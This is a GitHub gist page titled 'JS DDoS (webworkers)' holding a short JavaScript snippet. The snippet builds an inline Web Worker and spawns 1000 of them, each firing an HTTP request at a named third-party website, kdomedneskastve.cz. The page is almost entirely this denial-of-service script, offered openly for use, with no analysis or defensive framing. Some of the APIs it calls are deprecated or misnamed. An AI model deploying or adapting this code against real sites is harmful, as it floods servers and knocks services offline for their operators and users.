Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
JS DDoS (webworkers)
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
{
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
worker.postMessage();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.